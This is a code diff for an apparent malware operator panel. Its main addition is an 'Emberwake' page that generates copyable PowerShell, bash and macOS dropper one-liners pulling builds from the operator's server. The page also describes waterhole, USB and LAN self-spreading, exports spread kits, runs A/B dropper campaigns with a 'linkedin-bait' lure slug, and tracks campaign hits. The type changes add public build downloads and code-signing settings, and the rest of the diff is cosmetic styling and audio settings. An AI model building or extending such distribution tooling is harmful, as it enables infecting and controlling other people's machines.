.emberwake-page .spread-section--ember { border-left: 4px solid #ff6b2c; }
|
||||
.emberwake-page .spread-section--gold { border-left: 4px solid #c9a227; }
|
||||
.emberwake-page .spread-section--violet { border-left: 4px solid #a78bfa; }
|
||||
|
||||
.emberwake-tool-grid {
|
||||
display: grid;
|
||||
gap: 0.75rem;
|
||||
grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));
|
||||
}
|
||||
|
||||
.emberwake-notes {
|
||||
min-height: 120px;
|
||||
width: 100%;
|
||||
font-family: ui-monospace, monospace;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.emberwake-campaign-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.emberwake-campaign-list li {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
padding: 0.35rem 0;
|
||||
border-bottom: 1px solid #222a38;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.emberwake-ab-row {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
}
|
||||
238
server/web/src/pages/EmberwakePage.tsx
Normal file
238
server/web/src/pages/EmberwakePage.tsx
Normal file
@@ -0,0 +1,238 @@
|
||||
import { useCallback, useEffect, useMemo, useState } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRecord, CampaignHitSummary, EmberwakeNotes, PublicBuildDTO } from '../types';
|
||||
import {
|
||||
combinedDropperQuery,
|
||||
commandOneliner,
|
||||
ps1Oneliner,
|
||||
publicDownloadUrl,
|
||||
shOneliner,
|
||||
} from '../help/emberwake';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import './Pages.css';
|
||||
import './EmberwakePage.css';
|
||||
|
||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
const copy = () => {
|
||||
void navigator.clipboard.writeText(text).then(() => {
|
||||
setOk(true);
|
||||
setTimeout(() => setOk(false), 1500);
|
||||
});
|
||||
};
|
||||
return (
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
|
||||
{ok ? 'Copied' : label}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
export default function EmberwakePage() {
|
||||
const { latestMessage } = useWebSocket();
|
||||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||||
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
|
||||
const [serverBase, setServerBase] = useState('');
|
||||
const [campaign, setCampaign] = useState('linkedin-bait');
|
||||
const [pinA, setPinA] = useState('');
|
||||
const [pinB, setPinB] = useState('');
|
||||
const [notes, setNotes] = useState('');
|
||||
const [notesMeta, setNotesMeta] = useState('');
|
||||
const [campaigns, setCampaigns] = useState<CampaignHitSummary[]>([]);
|
||||
const [exportBusy, setExportBusy] = useState(false);
|
||||
const [notesBusy, setNotesBusy] = useState(false);
|
||||
|
||||
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
||||
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
|
||||
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
|
||||
|
||||
const load = useCallback(async () => {
|
||||
const [b, info, cfg, pub, camp, n] = await Promise.all([
|
||||
api.listBuilds(),
|
||||
api.getServerInfo(),
|
||||
api.getConfig(),
|
||||
api.listPublicBuilds(),
|
||||
api.listCampaignHits(),
|
||||
api.getEmberwakeNotes(),
|
||||
]);
|
||||
setBuilds(b);
|
||||
const pubUrl = cfg.server?.public_url?.trim();
|
||||
setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
|
||||
setPublicBuilds(pub.builds);
|
||||
setCampaigns(camp.campaigns);
|
||||
setNotes(n.content);
|
||||
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
|
||||
if (!pinA) {
|
||||
const p = b.find((x) => x.pinned);
|
||||
if (p) setPinA(p.id);
|
||||
}
|
||||
if (!pinB && b.length > 1) {
|
||||
const alt = b.find((x) => !x.pinned) ?? b[1];
|
||||
if (alt) setPinB(alt.id);
|
||||
}
|
||||
}, [pinA, pinB]);
|
||||
|
||||
useEffect(() => {
|
||||
void load().catch(() => {});
|
||||
}, [load]);
|
||||
|
||||
useEffect(() => {
|
||||
if (latestMessage?.type !== 'emberwake_notes_updated') return;
|
||||
const p = latestMessage.payload as EmberwakeNotes;
|
||||
if (p && typeof p.content === 'string') {
|
||||
setNotes(p.content);
|
||||
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
|
||||
}
|
||||
}, [latestMessage]);
|
||||
|
||||
const saveNotes = async () => {
|
||||
setNotesBusy(true);
|
||||
try {
|
||||
const n = await api.putEmberwakeNotes(notes);
|
||||
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
|
||||
} finally {
|
||||
setNotesBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
const exportKit = async () => {
|
||||
setExportBusy(true);
|
||||
try {
|
||||
await api.exportSpreadKit({
|
||||
build_id: pinA || pinned[0]?.id || '',
|
||||
server_url: serverBase,
|
||||
campaign,
|
||||
});
|
||||
} finally {
|
||||
setExportBusy(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page emberwake-page">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
|
||||
<h1>Emberwake</h1>
|
||||
<p className="page-subtitle">
|
||||
Carry embers from the forge — web waterholes, CMS uploads, curl|bash VPS drops, fusion media, USB, and LAN spread.
|
||||
</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div className="spread-section spread-section--ember">
|
||||
<h3>How to spread</h3>
|
||||
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem' }}>
|
||||
<li><strong>Web waterhole</strong> — export spread kit ZIP, upload to S3 / Cloudflare Pages / owned CMS.</li>
|
||||
<li><strong>curl | bash VPS</strong> — paste one-liners below on a headless server session.</li>
|
||||
<li><strong>Fusion media</strong> — forge Desktop Fusion profile, seed USB or shared folders.</li>
|
||||
<li><strong>LAN kindling</strong> — universal spread kit + autospread; deploy.bat on reachable hosts.</li>
|
||||
<li><strong>A/B droppers</strong> — pin build A vs B; rotate campaign links between waves.</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div className="card" style={{ marginBottom: '1rem' }}>
|
||||
<h2>Campaign builder</h2>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="ew-campaign">Campaign slug (?c=)</label>
|
||||
<input id="ew-campaign" className="input mono" value={campaign} onChange={(e) => setCampaign(e.target.value)} />
|
||||
</div>
|
||||
<div className="emberwake-ab-row" style={{ marginBottom: '0.75rem' }}>
|
||||
<label className="label">Build A (pin)</label>
|
||||
<select className="input" value={pinA} onChange={(e) => setPinA(e.target.value)}>
|
||||
<option value="">Latest / pinned</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}</option>
|
||||
))}
|
||||
</select>
|
||||
<label className="label">Build B (A/B)</label>
|
||||
<select className="input" value={pinB} onChange={(e) => setPinB(e.target.value)}>
|
||||
<option value="">—</option>
|
||||
{builds.map((b) => (
|
||||
<option key={b.id} value={b.id}>{b.worker_name} · {b.platform}</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
<div className="emberwake-tool-grid">
|
||||
<div>
|
||||
<p className="form-hint">PowerShell</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{ps1Oneliner(serverBase, query)}</code>
|
||||
<CopyChip text={ps1Oneliner(serverBase, query)} label="Copy PS1" />
|
||||
</div>
|
||||
<div>
|
||||
<p className="form-hint">bash</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{shOneliner(serverBase, query)}</code>
|
||||
<CopyChip text={shOneliner(serverBase, query)} label="Copy sh" />
|
||||
</div>
|
||||
<div>
|
||||
<p className="form-hint">macOS</p>
|
||||
<code className="mono" style={{ fontSize: '0.75rem', wordBreak: 'break-all' }}>{commandOneliner(serverBase, query)}</code>
|
||||
<CopyChip text={commandOneliner(serverBase, query)} label="Copy .command" />
|
||||
</div>
|
||||
</div>
|
||||
{pinB && (
|
||||
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
|
||||
A/B link B: <code>{serverBase}/get{queryB}</code>
|
||||
<CopyChip text={`${serverBase}/get${queryB}`} label="Copy B" />
|
||||
</p>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="spread-section spread-section--cyan">
|
||||
<h3>Spread kit export</h3>
|
||||
<p className="form-hint">Zips customized <code>spread-kit-web-publisher/</code> templates for your server URL + campaign.</p>
|
||||
<div className="emberwake-ab-row">
|
||||
<input className="input mono" style={{ flex: 1 }} value={serverBase} onChange={(e) => setServerBase(e.target.value)} />
|
||||
<button type="button" className="btn btn-primary" disabled={exportBusy || !serverBase} onClick={() => void exportKit()}>
|
||||
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="spread-section spread-section--gold">
|
||||
<h3>Public build URLs</h3>
|
||||
<p className="form-hint">Authenticated deck sees all builds; login page lists pinned + public + latest 3 (or all if Calibrate → public builds enabled).</p>
|
||||
<ul style={{ margin: 0, padding: 0, listStyle: 'none' }}>
|
||||
{(publicBuilds.length ? publicBuilds : builds.slice(0, 5)).map((b) => (
|
||||
<li key={b.id} style={{ marginBottom: '0.5rem', fontSize: '0.85rem' }}>
|
||||
<strong>{b.worker_name}</strong> ({b.platform})
|
||||
{' — '}
|
||||
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
|
||||
public download
|
||||
</a>
|
||||
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
{campaigns.length > 0 && (
|
||||
<div className="spread-section spread-section--violet">
|
||||
<h3>Campaign hits</h3>
|
||||
<ul className="emberwake-campaign-list">
|
||||
{campaigns.map((c) => (
|
||||
<li key={c.campaign}>
|
||||
<span><code>{c.campaign}</code></span>
|
||||
<span>{c.count} hits · {c.last_hit ? new Date(c.last_hit).toLocaleString() : '—'}</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="card">
|
||||
<h2>Shared notes</h2>
|
||||
<p className="form-hint">Synced live to every logged-in operator{notesMeta ? ` — last edit: ${notesMeta}` : ''}.</p>
|
||||
<textarea
|
||||
className="input emberwake-notes"
|
||||
rows={6}
|
||||
value={notes}
|
||||
onChange={(e) => setNotes(e.target.value)}
|
||||
placeholder="Paste lure copy, host paths, rotation schedule…"
|
||||
/>
|
||||
<button type="button" className="btn btn-primary" style={{ marginTop: '0.5rem' }} disabled={notesBusy} onClick={() => void saveNotes()}>
|
||||
{notesBusy ? 'Saving…' : 'Save notes'}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -442,13 +442,15 @@
|
||||
}
|
||||
|
||||
.form-section {
|
||||
margin-bottom: 1.5rem;
|
||||
padding-bottom: 1.5rem;
|
||||
border-bottom: 1px solid var(--border-color);
|
||||
margin-bottom: 1.25rem;
|
||||
padding: 1rem 1.1rem 1.25rem;
|
||||
border: 1px solid var(--border-dim);
|
||||
border-radius: 2px;
|
||||
background: rgba(8, 6, 4, 0.35);
|
||||
}
|
||||
|
||||
.form-section:last-of-type {
|
||||
border-bottom: none;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.form-section h3 {
|
||||
@@ -560,8 +562,9 @@
|
||||
|
||||
.build-item {
|
||||
padding: 0.75rem;
|
||||
background: var(--bg-secondary);
|
||||
border-radius: 8px;
|
||||
background: rgba(8, 6, 4, 0.55);
|
||||
border: 1px solid var(--border-brass);
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
.build-item-name {
|
||||
@@ -1329,6 +1332,12 @@ button.deliverable-card .form-hint {
|
||||
border: 1px solid rgba(212, 175, 55, 0.25);
|
||||
}
|
||||
|
||||
.fusion-estimate-panel {
|
||||
padding: 1rem 1.1rem;
|
||||
margin-top: 0.75rem;
|
||||
border: 1px solid rgba(212, 175, 55, 0.28);
|
||||
}
|
||||
|
||||
.batch-forge-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
|
||||
@@ -394,10 +394,11 @@
|
||||
}
|
||||
|
||||
.pt-section-panel {
|
||||
background: rgba(0,0,0,0.25);
|
||||
border: 1px solid rgba(0,255,170,0.08);
|
||||
border-radius: 10px;
|
||||
background: rgba(8, 6, 4, 0.45);
|
||||
border: 1px solid var(--border-brass);
|
||||
border-radius: 2px;
|
||||
padding: 1rem;
|
||||
box-shadow: var(--shadow-panel);
|
||||
}
|
||||
|
||||
/* Spinner */
|
||||
|
||||
@@ -6,6 +6,7 @@ import { cleanup, render, screen, waitFor, within } from '@testing-library/react
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import SettingsPage, { deepMerge } from './SettingsPage';
|
||||
import { SoundProvider } from '../context/SoundContext';
|
||||
import { AmbientMusicProvider } from '../context/AmbientMusicContext';
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
import { api } from '../api/client';
|
||||
import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
|
||||
@@ -13,7 +14,9 @@ import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
|
||||
function renderSettings() {
|
||||
return render(
|
||||
<SoundProvider>
|
||||
<SettingsPage />
|
||||
<AmbientMusicProvider>
|
||||
<SettingsPage />
|
||||
</AmbientMusicProvider>
|
||||
</SoundProvider>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -19,6 +19,8 @@ import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
|
||||
import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
|
||||
import { useSound } from '../context/SoundContext';
|
||||
import { useAmbientMusic } from '../context/AmbientMusicContext';
|
||||
import { AMBIENT_MUSIC_SRC } from '../audio/ambientMusic';
|
||||
import { useVisualEffects } from '../context/VisualEffectsContext';
|
||||
import './Pages.css';
|
||||
|
||||
@@ -46,7 +48,19 @@ export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
|
||||
}
|
||||
|
||||
export default function SettingsPage() {
|
||||
const { enabled: sfxEnabled, volume: sfxVolume, setEnabled: setSfxEnabled, setVolume: setSfxVolume, preview: previewSfx } = useSound();
|
||||
const {
|
||||
enabled: sfxEnabled,
|
||||
volume: sfxVolume,
|
||||
hoverEnabled,
|
||||
hoverVolume,
|
||||
setEnabled: setSfxEnabled,
|
||||
setVolume: setSfxVolume,
|
||||
setHoverEnabled,
|
||||
setHoverVolume,
|
||||
preview: previewSfx,
|
||||
previewHover,
|
||||
} = useSound();
|
||||
const { enabled: bgmEnabled, volume: bgmVolume, setEnabled: setBgmEnabled, setVolume: setBgmVolume } = useAmbientMusic();
|
||||
const { glowParticles, setGlowParticles } = useVisualEffects();
|
||||
const [config, setConfig] = useState<ServerConfig | null>(null);
|
||||
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
|
||||
@@ -490,6 +504,82 @@ export default function SettingsPage() {
|
||||
Preview share
|
||||
</button>
|
||||
</div>
|
||||
<hr style={{ border: 'none', borderTop: '1px solid var(--border-dim)', margin: '1.25rem 0' }} />
|
||||
<h3 className="font-tech" style={{ fontSize: '0.85rem', marginBottom: '0.35rem' }}>Hover highlight sounds</h3>
|
||||
<p className="section-desc" style={{ marginBottom: '0.75rem' }}>
|
||||
Subtle dubstep-style blips when hovering buttons, cards, nav links, and fleet rows. Debounced so rapid
|
||||
mouse movement stays quiet. Muted when click sounds are off.
|
||||
</p>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={hoverEnabled}
|
||||
disabled={!sfxEnabled}
|
||||
onChange={(e) => setHoverEnabled(e.target.checked)}
|
||||
/>
|
||||
<span>Enable hover highlight sounds</span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label htmlFor="cfg-hover-volume" className="label">
|
||||
Hover volume ({Math.round(hoverVolume * 100)}%)
|
||||
</label>
|
||||
<input
|
||||
id="cfg-hover-volume"
|
||||
type="range"
|
||||
className="input"
|
||||
min={0}
|
||||
max={100}
|
||||
step={5}
|
||||
value={Math.round(hoverVolume * 100)}
|
||||
disabled={!sfxEnabled || !hoverEnabled}
|
||||
onChange={(e) => setHoverVolume(parseInt(e.target.value, 10) / 100)}
|
||||
/>
|
||||
</div>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={!sfxEnabled || !hoverEnabled}
|
||||
onClick={previewHover}
|
||||
>
|
||||
Preview hover
|
||||
</button>
|
||||
<hr style={{ border: 'none', borderTop: '1px solid var(--border-dim)', margin: '1.25rem 0' }} />
|
||||
<h3 className="font-tech" style={{ fontSize: '0.85rem', marginBottom: '0.35rem' }}>Background music</h3>
|
||||
<p className="section-desc" style={{ marginBottom: '0.75rem' }}>
|
||||
Optional looping ambient track served from <code className="mono-sm">{AMBIENT_MUSIC_SRC}</code>. Use the
|
||||
mini player in the bottom-right corner on any page, or enable here. Defaults off — browsers block autoplay
|
||||
until you press play or toggle this on.
|
||||
</p>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={bgmEnabled}
|
||||
onChange={(e) => setBgmEnabled(e.target.checked)}
|
||||
/>
|
||||
<span>Enable background music</span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label htmlFor="cfg-bgm-volume" className="label">
|
||||
Music volume ({Math.round(bgmVolume * 100)}%)
|
||||
</label>
|
||||
<input
|
||||
id="cfg-bgm-volume"
|
||||
type="range"
|
||||
className="input"
|
||||
min={0}
|
||||
max={100}
|
||||
step={5}
|
||||
value={Math.round(bgmVolume * 100)}
|
||||
disabled={!bgmEnabled}
|
||||
onChange={(e) => setBgmVolume(parseInt(e.target.value, 10) / 100)}
|
||||
/>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="brass" className="settings-section">
|
||||
|
||||
@@ -2,31 +2,31 @@
|
||||
@import url('https://fonts.googleapis.com/css2?family=Cinzel+Decorative:wght@400;700&family=Orbitron:wght@400;500;600;700&family=Rajdhani:wght@400;500;600;700&display=swap');
|
||||
|
||||
:root {
|
||||
--bg-void: #060504;
|
||||
--bg-deep: #0c0a08;
|
||||
--bg-panel: rgba(18, 14, 10, 0.85);
|
||||
--bg-panel-solid: #14100c;
|
||||
--bg-hover: rgba(40, 32, 24, 0.9);
|
||||
--bg-void: #030308;
|
||||
--bg-deep: #08080f;
|
||||
--bg-panel: rgba(10, 10, 18, 0.9);
|
||||
--bg-panel-solid: #0e0e16;
|
||||
--bg-hover: rgba(28, 26, 40, 0.92);
|
||||
|
||||
--brass: #c9a227;
|
||||
--brass-light: #e8c547;
|
||||
--brass-dark: #6b4f12;
|
||||
--copper: #b87333;
|
||||
--copper-glow: rgba(184, 115, 51, 0.4);
|
||||
--brass: #9a8538;
|
||||
--brass-light: #c4ad5a;
|
||||
--brass-dark: #4a3d18;
|
||||
--copper: #8a5a42;
|
||||
--copper-glow: rgba(120, 80, 120, 0.35);
|
||||
|
||||
--neon-cyan: #00f5ff;
|
||||
--neon-magenta: #ff2da6;
|
||||
--neon-amber: #ffb020;
|
||||
--neon-green: #39ff14;
|
||||
--neon-purple: #b24bf3;
|
||||
--neon-cyan: #00e8f5;
|
||||
--neon-magenta: #e828a8;
|
||||
--neon-amber: #e89830;
|
||||
--neon-green: #2ee810;
|
||||
--neon-purple: #a83ef0;
|
||||
|
||||
--text-primary: #f4ebe0;
|
||||
--text-secondary: #c4b5a0;
|
||||
--text-muted: #7a6f62;
|
||||
--text-primary: #e8e4f0;
|
||||
--text-secondary: #a8a0b8;
|
||||
--text-muted: #5e5868;
|
||||
|
||||
--border-brass: rgba(201, 162, 39, 0.35);
|
||||
--border-neon: rgba(0, 245, 255, 0.25);
|
||||
--shadow-panel: 0 8px 32px rgba(0, 0, 0, 0.6), 0 0 1px rgba(201, 162, 39, 0.3);
|
||||
--border-brass: rgba(140, 120, 60, 0.28);
|
||||
--border-neon: rgba(0, 232, 245, 0.22);
|
||||
--shadow-panel: 0 10px 36px rgba(0, 0, 0, 0.72), 0 0 1px rgba(80, 60, 140, 0.25);
|
||||
--shadow-neon-cyan: 0 0 20px rgba(0, 245, 255, 0.35), 0 0 60px rgba(0, 245, 255, 0.1);
|
||||
--shadow-neon-magenta: 0 0 20px rgba(255, 45, 166, 0.3);
|
||||
|
||||
@@ -76,7 +76,7 @@ h1, h2, h3, .font-display {
|
||||
.card,
|
||||
.neon-card {
|
||||
position: relative;
|
||||
background: linear-gradient(145deg, rgba(28, 22, 16, 0.95) 0%, rgba(12, 10, 8, 0.98) 100%);
|
||||
background: linear-gradient(145deg, rgba(16, 14, 24, 0.96) 0%, rgba(6, 6, 12, 0.99) 100%);
|
||||
border: 1px solid var(--border-brass);
|
||||
border-radius: 4px;
|
||||
box-shadow: var(--shadow-panel);
|
||||
@@ -90,13 +90,14 @@ h1, h2, h3, .font-display {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background:
|
||||
radial-gradient(ellipse 80% 50% at 50% -20%, rgba(0, 245, 255, 0.08), transparent 50%),
|
||||
radial-gradient(ellipse 80% 50% at 50% -20%, rgba(0, 232, 245, 0.06), transparent 50%),
|
||||
radial-gradient(ellipse 60% 40% at 100% 100%, rgba(168, 62, 240, 0.04), transparent 55%),
|
||||
repeating-linear-gradient(
|
||||
90deg,
|
||||
transparent,
|
||||
transparent 48px,
|
||||
rgba(201, 162, 39, 0.03) 48px,
|
||||
rgba(201, 162, 39, 0.03) 49px
|
||||
rgba(80, 70, 120, 0.025) 48px,
|
||||
rgba(80, 70, 120, 0.025) 49px
|
||||
);
|
||||
pointer-events: none;
|
||||
z-index: 0;
|
||||
@@ -129,7 +130,7 @@ h1, h2, h3, .font-display {
|
||||
position: absolute;
|
||||
inset: 8px;
|
||||
border: 1px solid transparent;
|
||||
border-image: linear-gradient(135deg, var(--brass) 0%, transparent 30%, transparent 70%, var(--neon-cyan) 100%) 1;
|
||||
border-image: linear-gradient(135deg, rgba(120, 100, 180, 0.6) 0%, transparent 30%, transparent 70%, var(--neon-cyan) 100%) 1;
|
||||
pointer-events: none;
|
||||
opacity: 0.5;
|
||||
}
|
||||
@@ -178,7 +179,7 @@ h1, h2, h3, .font-display {
|
||||
.btn-outline {
|
||||
border: 1px solid var(--border-brass);
|
||||
color: var(--brass-light);
|
||||
background: rgba(20, 16, 12, 0.6);
|
||||
background: rgba(12, 12, 20, 0.72);
|
||||
}
|
||||
|
||||
.btn-outline:hover {
|
||||
@@ -190,7 +191,7 @@ h1, h2, h3, .font-display {
|
||||
/* Form inputs — gauge panel style */
|
||||
.input,
|
||||
.select {
|
||||
background: rgba(8, 6, 4, 0.9);
|
||||
background: rgba(6, 6, 12, 0.92);
|
||||
border: 1px solid var(--border-brass);
|
||||
border-radius: 2px;
|
||||
font-family: var(--font-body);
|
||||
|
||||
@@ -11,9 +11,9 @@
|
||||
|
||||
body {
|
||||
background:
|
||||
radial-gradient(ellipse 120% 80% at 50% -30%, rgba(0, 245, 255, 0.07), transparent 55%),
|
||||
radial-gradient(ellipse 90% 60% at 100% 50%, rgba(255, 45, 166, 0.04), transparent 50%),
|
||||
radial-gradient(ellipse 70% 50% at 0% 80%, rgba(201, 162, 39, 0.06), transparent 45%),
|
||||
radial-gradient(ellipse 120% 80% at 50% -30%, rgba(0, 232, 245, 0.05), transparent 55%),
|
||||
radial-gradient(ellipse 90% 60% at 100% 50%, rgba(168, 62, 240, 0.05), transparent 50%),
|
||||
radial-gradient(ellipse 70% 50% at 0% 80%, rgba(40, 30, 80, 0.08), transparent 45%),
|
||||
var(--bg-void);
|
||||
text-rendering: optimizeLegibility;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
@@ -52,9 +52,9 @@ a:hover {
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
transparent,
|
||||
rgba(201, 162, 39, 0.35) 15%,
|
||||
rgba(0, 245, 255, 0.5) 50%,
|
||||
rgba(255, 45, 166, 0.25) 85%,
|
||||
rgba(80, 60, 140, 0.3) 15%,
|
||||
rgba(0, 232, 245, 0.45) 50%,
|
||||
rgba(168, 62, 240, 0.22) 85%,
|
||||
transparent
|
||||
);
|
||||
opacity: 0.85;
|
||||
|
||||
@@ -80,6 +80,7 @@ export interface Agent {
|
||||
build_id?: string;
|
||||
worker_name?: string;
|
||||
usb_spread?: boolean;
|
||||
campaign?: string;
|
||||
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
|
||||
latency_ms?: number;
|
||||
}
|
||||
@@ -155,6 +156,39 @@ export interface BuildRecord {
|
||||
extra_files?: BuildExtraFile[];
|
||||
/** When true this build is served by /get and /install.* dropper endpoints */
|
||||
pinned?: boolean;
|
||||
/** When true this build appears on unauthenticated public builds API */
|
||||
public?: boolean;
|
||||
}
|
||||
|
||||
export interface PublicBuildDTO {
|
||||
id: string;
|
||||
worker_name: string;
|
||||
platform: string;
|
||||
file_name: string;
|
||||
file_size: number;
|
||||
bundle_size: number;
|
||||
download_url: string;
|
||||
created_at: string;
|
||||
pinned: boolean;
|
||||
public: boolean;
|
||||
}
|
||||
|
||||
export interface PublicBuildsResponse {
|
||||
builds: PublicBuildDTO[];
|
||||
public_builds_enabled: boolean;
|
||||
latest_n: number;
|
||||
}
|
||||
|
||||
export interface CampaignHitSummary {
|
||||
campaign: string;
|
||||
count: number;
|
||||
last_hit: string;
|
||||
}
|
||||
|
||||
export interface EmberwakeNotes {
|
||||
content: string;
|
||||
updated_at: string;
|
||||
updated_by: string;
|
||||
}
|
||||
|
||||
/** Alias used in components that deal with forged builds */
|
||||
@@ -207,6 +241,8 @@ export interface ServerSettings {
|
||||
sign_cert_thumbprint?: string;
|
||||
sign_tool_path?: string;
|
||||
sign_timestamp_url?: string;
|
||||
public_builds_enabled?: boolean;
|
||||
public_builds_latest_n?: number;
|
||||
}
|
||||
|
||||
export interface TunnelDefaults {
|
||||
|
||||
Reference in New Issue
Block a user